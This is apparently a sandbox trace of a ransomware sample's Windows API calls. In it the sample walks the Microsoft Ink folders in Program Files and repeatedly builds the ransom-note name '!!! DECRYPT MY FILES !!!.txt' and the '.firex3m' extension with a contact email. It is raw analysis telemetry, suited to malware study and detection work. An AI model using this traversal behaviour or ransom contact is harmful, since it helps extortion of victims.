FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.291] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0112.292] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0112.292] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\") returned 1 [0112.292] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\") returned 0x39 [0112.292] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0112.292] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0112.292] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0112.292] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.293] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0112.293] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 1 [0112.293] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui") returned 0x48 [0112.293] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.293] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.293] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.293] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.293] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.293] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0112.293] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0112.294] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\") returned 1 [0112.294] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0112.294] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0112.294] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0112.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0112.294] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.294] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0112.294] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 1 [0112.294] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui") returned 0x48 [0112.294] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.294] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.294] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.294] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.295] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.295] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0112.295] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0112.295] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\") returned 1 [0112.295] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0112.295] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0112.295] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0112.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0112.296] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.296] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0112.296] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui") returned 1 [0112.296] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui") returned 0x48 [0112.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.296] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.296] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.296] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.296] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0112.296] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0112.297] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\content.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi", len=0x45 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 1 [0112.297] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi") returned 0x45 [0112.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.297] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.297] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.297] GetProcessHeap () returned 0x630000 [0112.297] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e90d0, Size=0x24) returned 0x699a98 [0112.297] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0112.297] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe", len=0x4a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 1 [0112.297] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe") returned 0x4a [0112.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.298] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.298] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.298] GetProcessHeap () returned 0x630000 [0112.298] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x28) returned 0x6998e8 [0112.298] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0112.298] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\") returned 1 [0112.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\") returned 0x39 [0112.298] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0112.298] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0112.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0112.299] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.299] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0112.299] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 1 [0112.299] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui") returned 0x48 [0112.299] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.299] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.300] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.300] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.300] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.300] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0112.300] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0112.300] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\") returned 1 [0112.300] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0112.300] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0112.300] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 